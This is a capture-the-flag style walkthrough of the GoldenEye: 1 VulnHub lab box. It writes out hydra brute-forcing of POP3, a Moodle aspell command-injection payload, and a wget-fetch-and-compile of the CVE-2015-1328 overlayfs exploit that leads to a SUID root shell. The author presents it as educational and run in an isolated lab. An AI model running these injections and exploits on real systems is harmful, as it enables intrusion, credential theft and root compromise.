> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# GoldenEye: 1 — Full Walkthrough: Rooting a VulnHub Box from the Command Line When the Tools Won't Cooperate
- URL: https://taiwanding.com/en/goldeneye-1-vulnhub-walkthrough/
- Published: 2026-07-10T15:20:27.000Z
- Updated: 2026-07-15T02:50:38.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

> Target: [GoldenEye: 1](https://www.vulnhub.com/entry/goldeneye-1,240/?ref=taiwanding.com) (VulnHub, by creosote, 2018)  
> Difficulty: Intermediate (OSCP-style, no BOF / exploit development)  
> Environment: WSL2 Kali + self-hosted QEMU/KVM (not VirtualBox)

## Intro: why this writeup is a little different

Walkthroughs for GoldenEye are all over the internet, so this one isn't just going to rehash "how to beat the box." What it documents is a more realistic scenario: **when your environment is something you cobbled together yourself, when the GUI tools go on strike at the worst possible moment, and when your attack channel keeps dropping without warning — how do you punch through the box by hand, from the command line, through systematic troubleshooting.**

I never relied on a stable interactive shell for the entire box; in the end I rooted it with "blind RCE" (write output to a file + curl it back). Along the way I stepped on countless landmines (streamOptimized disks, port conflicts, WSLg firefox refusing to respond to clicks, reverse shells dropping over and over, expired sessions) — and the reasoning I used to clear those landmines is more worth recording than the box itself.

**Full kill chain: (spoilers — feel free to skip)**

1. Web recon → `terminal.js` leaks boris's default password (HTML-entity encoded)
2. `/sev-home/` confirms the accounts and the POP3 service
3. POP3 credential relay: boris → natalya → doak (each mailbox points at the next)
4. An email leaks the Moodle entry point and xenia's credentials
5. Inside Moodle: xenia → dr\_doak → download `s3cret.txt`
6. EXIF steganography in an image (Base64) → Moodle admin credentials
7. Moodle aspell command-injection RCE (entirely via curl, bypassing the GUI)
8. overlayfs kernel privesc (CVE-2015-1328) → root

## 0\. Building the environment: running VulnHub inside WSL2 with QEMU/KVM

VulnHub boxes ship as VM images (`.ova`), and traditionally you'd fire up VirtualBox/VMware. I didn't want a GUI hypervisor open, so I went with "QEMU headless + an isolated network segment" and stayed in the Kali terminal the whole time. The prerequisite is that WSL2 needs nested virtualization enabled.

**Enable nested virtualization** (in Windows's `.wslconfig`):

```ini
[wsl2]
nestedVirtualization=true

```

After `wsl --shutdown` and a restart, verify KVM is available:

```bash
ls -l /dev/kvm
sudo apt install -y cpu-checker && kvm-ok   # you want to see "KVM acceleration can be used"

```

**Unpack and convert** (the key gotcha: the VMDK inside the `.ova` is in the read-only streamOptimized format and must be converted to qcow2):

```bash
tar xf GoldenEye-v1.ova              # extracts GoldenEye-v1-disk001.vmdk
# booting the vmdk directly throws "Could not write to allocated cluster for streamOptimized"
qemu-img convert -p -O qcow2 GoldenEye-v1-disk001.vmdk goldeneye.qcow2

```

**Set up an isolated network segment** (br0 + tap0 + dnsmasq as the DHCP server):

```bash
sudo ip link add br0 type bridge
sudo ip addr add 10.10.10.1/24 dev br0
sudo ip link set br0 up
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up

# dnsmasq only hands out DHCP; --port=0 avoids grabbing port 53 (which would clash with WSL2's built-in DNS)
sudo dnsmasq --interface=br0 --bind-interfaces \
  --dhcp-range=10.10.10.50,10.10.10.100,12h \
  --dhcp-authoritative --port=0 --no-daemon --log-dhcp

```

**Headless boot** (KVM acceleration, the e1000 NIC to match the VirtualBox export, no display):

```bash
sudo qemu-system-x86_64 \
  -enable-kvm -m 2048 -cpu host \
  -drive file=goldeneye.qcow2,format=qcow2,if=ide \
  -netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
  -device e1000,netdev=net0 \
  -display none -serial mon:stdio

```

Once the box boots, the dnsmasq log shows `DHCPACK(br0) 10.10.10.61` — the target's IP is in hand, and I never touched a GUI.

> I later froze this whole setup into a one-shot `vulnhub-run.sh` script, so switching to a new box is a one-liner from now on. The streamOptimized conversion, port-conflict cleanup, attaching the tap to the bridge, and auto-grabbing the IP are all baked in.

## 1\. Recon

```bash
sudo nmap -p- -sV -sC 10.10.10.61

```

Four ports, and the theme is obvious at a glance:

| Port  | Service       | Notes                            |
| ----- | ------------- | -------------------------------- |
| 25    | Postfix SMTP  | Outbound mail                    |
| 80    | Apache 2.4.7  | "GoldenEye Primary Admin Server" |
| 55006 | Dovecot POP3S | Incoming mail (SSL)              |
| 55007 | Dovecot POP3  | Incoming mail (plaintext / STLS) |

Three of the four ports are doing mail (SMTP + POP3 ×2), and the POP3 services sit on non-standard high ports. That service layout strongly hints that the backbone of this box is "obtain mailbox credentials → read the mail → grab the next clue," while the Web service (port 80) is the only entry point you can explore without an account — so that's where I start.

## 2\. Web, first half: digging the first set of credentials out of the homepage

The homepage itself is almost empty, but it loads a `terminal.js`. The iron rule of OSCP-style boxes: **every custom file the author drops in is worth opening and reading.**

```bash
curl -s http://10.10.10.61/terminal.js

```

The key content:

```
Navigate to /sev-home/ to login
// Boris, make sure you update your default password.
// I encoded you p@ssword below...
// &#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;...
// BTW Natalya says she can break your codes

```

That string of `&#nn;` is **HTML-entity encoding** (`&#73;` \= ASCII 73 = `I`). Drop it into a browser or run it through `html.unescape()` and it decodes to:

```
InvincibleHack3r

```

Log in to `/sev-home/` (HTTP Basic Auth):

```bash
curl -s -i -u boris:InvincibleHack3r http://10.10.10.61/sev-home/

```

The page after logging in confirms two accounts (`Natalya` and `Boris` are hidden in HTML comments), and it explicitly states "POP3 is on a non-standard high port" and "email a GNO supervisor to receive training." That officially steers the attack toward the mail service.

## 3\. POP3 credential relay: the core gimmick of this box

### 3.1 SMTP user enumeration (first, confirm the tool can be trusted)

Before enumerating accounts with SMTP `VRFY`, do one thing first: **use a "known non-existent" negative sample to test the tool's discriminating power**, so you don't mistake "responds to everything" for "the account exists."

```bash
nc 10.10.10.61 25
VRFY boris     # 252 (exists)
VRFY james     # 550 User unknown (doesn't exist) ← proves VRFY actually discriminates
VRFY root      # 252 (exists)

```

The fact that `james` returns `550` is the counter-proof that those `252`s are real accounts. Running `smtp-user-enum` against the full list of 007 character names confirms only three real accounts: **boris, natalya, root** (villain names like xenia/janus/006 all don't exist).

### 3.2 Dovecot has brute-force protection

Blasting POP3 with 16 children straight away, and Dovecot pushes back immediately:

```
[ERROR] POP3 PLAIN AUTH : -ERR Disconnected for inactivity during authentication.

```

This is Dovecot's auth delay + concurrency throttling. **When a slow service has protection, "wordlist quality" matters a hundred times more than "wordlist size."** Testing once by hand confirms the service responds cleanly to a single auth attempt (`-ERR Authentication failed`), which means you can brute-force at low concurrency — you just have to be gentle.

### 3.3 Three brute-forces, three mailboxes

The key finding: boris's password isn't in the `top-1000` pure-common-word list, nor in an invincible-themed list — it's in `fasttrack.txt` (which catalogs "word + digits + symbol" patterns):

```bash
hydra -l boris   -P /usr/share/wordlists/fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# boris : secret1!
hydra -l natalya -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# natalya : bird
hydra -l doak    -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# doak : goat

```

> **Lesson: when a brute-force comes up empty, changing the "style" of the wordlist is sometimes more decisive than changing the account or cranking up the size.** `secret1!` slips past both the pure-common-word list and the themed list, because it follows a "common word + common suffix" pattern — you need a list that catalogs exactly that kind of combination to catch it.

### 3.4 The email contents string the whole chain together

Reading each mailbox in turn (`nc 10.10.10.61 55007` → `USER/PASS/LIST/RETR`):

- **boris's mailbox**: `alec@janus.boss` mentions access codes, xenia, and a training site.
- **natalya's mailbox**: hands over the crucial intel directly —

```
username: xenia
password: RCP90rulez!
URL: severnaya-station.com/gnocertdir
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

```

Edit hosts as instructed:

```bash
echo "10.10.10.61  severnaya-station.com" | sudo tee -a /etc/hosts

```

## 4\. The midgame: Moodle (an off-the-shelf CMS, and a shift in attack mindset)

```bash
whatweb http://severnaya-station.com/gnocertdir/

```

Fingerprinting confirms it's **Moodle** (`MoodleSession` cookie, PHP 5.5.9, title "GoldenEye Operators Training - Moodle"). **The attack mindset shifts immediately: for an off-the-shelf open-source CMS, the first instinct is "which version, and is there a known CVE?"**

The version is hidden in `lib/upgrade.txt`:

```bash
curl -s http://severnaya-station.com/gnocertdir/lib/upgrade.txt | grep -m1 "==="
# === 2.2 ===

```

After logging in with `xenia:RCP90rulez!`, an internal Moodle message (from Dr Doak) leaks a new account, `doak` — going back to brute-force POP3 yields `doak:goat`, and doak's mailbox hands over a Moodle account:

```
username: dr_doak
password: 4England!
dig until you can exfiltrate further information

```

Logging in as `dr_doak`, I find a downloadable file in the profile, `s3cret.txt` (path `draftfile.php/.../for james/s3cret.txt`):

```
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps ... are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg

```

**The credentials are hidden inside an image** (because text would get scanned), so grab the image and dig into the EXIF:

```bash
curl -s http://severnaya-station.com/dir007key/for-007.jpg -o for-007.jpg
exiftool for-007.jpg
# Image Description : eFdpbnRlcjE5OTV4IQ==   ← Base64 (the trailing == is the giveaway)
echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d
# xWinter1995x!

```

Moodle admin credentials in hand: **`admin : xWinter1995x!`**

## 5\. The boss fight: Moodle aspell command-injection RCE

### 5.1 Environmental obstacles: the GUI goes fully on strike

After logging in as admin I hit a string of environment problems: the WSLg firefox window is tiny and the dropdowns and buttons won't respond to clicks; trying to forward to a Windows browser instead runs into Windows's IIS occupying port 80, and Moodle's `wwwroot` forcing a redirect. **Conclusion: give up on the browser and drive the entire Moodle backend with curl** — which, as it turns out, sidesteps every GUI/port problem.

Log in with curl to grab an admin session:

```bash
curl -s -c cookies.txt -b cookies.txt \
  -d "username=admin&password=xWinter1995x!" \
  "http://severnaya-station.com/gnocertdir/login/index.php" -L -o /dev/null -w "%{http_code}\n"
# verify: grep for "You are logged in as" + "logout"

```

### 5.2 How the aspell RCE works

Moodle's TinyMCE spell-check can be configured to use the external program `aspell`, and the admin can set the **execution path** for aspell in the backend. When Moodle runs a spell-check it uses that "path" to invoke a system command — so if you stuff a shell command into the path field, it gets executed. This is the same root cause as any command injection where "a field that's supposed to be a path/argument gets spliced into a shell."

Grab the settings page and find the aspell field name `s__aspellpath` and the sesskey:

```bash
curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  | grep -iE "aspell|sesskey"
# sesskey = y4dijSTQgp

```

### 5.3 The key root cause: the spell engine must be PSpellShell

The first time I filled in a payload and triggered it, no shell came back. Using a **ping to isolate the problem** (setting aspell to `ping -c 3 10.10.10.1` and opening tcpdump to catch the ICMP) — no ping was captured, meaning **the command never ran at all**. Digging further reveals the root cause:

```bash
curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
  | grep -oP 'selected="selected">\K[^<]+'
# Google Spell   ← this goes to the cloud, it never touches local aspell at all!

```

Use a curl POST to force it to `PSpellShell`:

```bash
curl -s -b cookies.txt \
  --data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
  --data-urlencode "s_editor_tinymce_spellengine=PSpellShell" \
  --data-urlencode "s_editor_tinymce_spelllanguagelist=+English=en" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
  -o /dev/null -w "%{http_code}\n"

```

After switching to PSpellShell, the ping test immediately catches ICMP — the command really is executing now.

### 5.4 The blind-shot mindset: giving up on an interactive shell

The telnet reverse shell keeps auto-disconnecting, and bash's `/dev/tcp` isn't supported on this box either. Rather than wrestle with a fragile interactive shell, I switched to **blind RCE**: for each command, write the output to Moodle's web directory, then curl it back.

```bash
# set the aspell payload: run a command → write output to the web directory
curl -s -b cookies.txt \
  --data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
  --data-urlencode "s__aspellpath=sh -c 'id > /var/www/html/gnocertdir/out.txt 2>&1; uname -a >> /var/www/html/gnocertdir/out.txt 2>&1'" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  -o /dev/null -w "%{http_code}\n"

# trigger the spell-check (send a "misspelled word" to force it to call aspell)
curl -s -b cookies.txt \
  "http://severnaya-station.com/gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php" \
  -H "Content-Type: application/json" \
  -d '{"id":"c0","method":"checkWords","params":["en",["helllooooo","zzzxxxqqq"]]}'

# read the output back
curl -s "http://severnaya-station.com/gnocertdir/out.txt"

```

Result:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP ... 2014 x86_64

```

> **Mindset shift: an interactive shell is a "convenience," not a "requirement" — the ability to execute commands is what actually matters.** In an unstable environment, a solid blind RCE gets recon and privesc done just as well.

## 6\. Privilege escalation: the overlayfs kernel vulnerability (CVE-2015-1328)

The kernel version `3.13.0-32-generic` (Ubuntu 14.04, 2014) maps to the classic overlayfs local privesc.

```bash
searchsploit linux kernel 3.13 privilege escalation
# Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' LPE | linux/local/37292.c

```

Filtering the hits: the version range `3.13.0 < 3.19` frames it precisely, Ubuntu 14.04 is a match, it's a local privesc, and it comes with a compilable `.c`.

### 6.1 Modifying the exploit (blind-shot friendly)

The original `37292.c` opens an **interactive root shell** when run (`execle("/bin/sh","sh","-i")`), which would hang in blind mode; and internally it compiles with `gcc`, but the target only has `cc`. Both need fixing:

```bash
cp 37292.c ofs.c
sed -i 's/gcc/cc/g' ofs.c   # the target only has cc

# turn the interactive shell into "non-interactive, persisted root": add a SUID bash + read the flag
# execle("/bin/sh","sh","-i",NULL,NULL);
# → system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; cat /root/*.txt > .../flag.txt; chmod 777 .../flag.txt");

```

> **The idea: kernel exploits usually give you an interactive shell, but my shell drops. The fix is to "persist root without needing interaction" — as root, add SUID to bash (`/tmp/rootbash`), and from then on a blind `/tmp/rootbash -p` is a stable root.**

### 6.2 Download, compile, run (all blind)

```bash
# start an http server on Kali for the target to download from
python3 -m http.server 8000

# blind: wget → compile → run
curl -s -b cookies.txt \
  --data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
  --data-urlencode "s__aspellpath=sh -c 'cd /tmp; wget http://10.10.10.1:8000/ofs.c -O ofs.c; cc ofs.c -o ofs -lpthread; ./ofs > /var/www/html/gnocertdir/pwn.txt 2>&1'" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  -o /dev/null -w "%{http_code}\n"
# trigger rpc.php ...

```

### 6.3 Getting root

After the exploit runs, use the SUID bash to read the flag as root:

```bash
curl -s -b cookies.txt \
  --data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
  --data-urlencode "s__aspellpath=sh -c '/tmp/rootbash -p -c \"id; cat /root/.flag.txt\" > /var/www/html/gnocertdir/flag.txt 2>&1'" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  -o /dev/null -w "%{http_code}\n"
# trigger rpc.php ...
curl -s "http://severnaya-station.com/gnocertdir/flag.txt"

```

Result (note the flag is a hidden file, `.flag.txt` — `/root/*.txt` won't match it, so you have to name it explicitly):

```
uid=33(www-data) ... euid=0(root) groups=0(root),33(www-data)

Alec told me to place the codes here:
568628e0d993b1973adc718237da6e93
If you captured this make sure to go here.....
/006-final/xvf7-flag/

```

`euid=0(root)` — privesc successful. Visiting the easter-egg page `/006-final/xvf7-flag/` gives the official "Flag Captured" congratulations.

## Takeaways worth keeping (more valuable than the flag)

- **Self-hosted lab environment**: QEMU/KVM headless + tap/bridge, no reliance on a GUI hypervisor, everything driven from the terminal — honestly it started because I couldn't be bothered to open VirtualBox and then figured I'd mess around with it.
- **Using the command line to route around GUI bugs**: when firefox won't respond to clicks and the browser fights over ports, curl can punch through the entire Moodle backend. The GUI is a convenience, not a requirement.
- **The blind-RCE mindset**: drop the fixation on "I absolutely need an interactive shell," and get recon and privesc done with stable command execution via "write to a file + read it back." That's the right answer when the environment is unstable.
- **Systematic troubleshooting**: use a test with a "clearly visible outcome" like ping to isolate "the command didn't run" vs. "the shell didn't come back"; when requests suddenly all fail, suspect an expired session/token first; when you're stuck, back off to the simplest "known-good" state and add complexity back one step at a time.
- **Brute-force strategy**: when a slow service is protected, wordlist "quality and style" matter more than "quantity"; go from small to large, fast to slow; when it misses, question the premises first (account, service, wordlist style) rather than mindlessly cranking up the size.
- **Credential relay (lateral movement)**: this is exactly the heart of real internal-network pentesting — one set of credentials pries open a foothold, you scoop up the next set, and you pivot the whole way through.

---

*This is an educational writeup of the GoldenEye: 1 box; all actions were performed in an isolated local environment. Never run any testing against systems you are not authorized to.*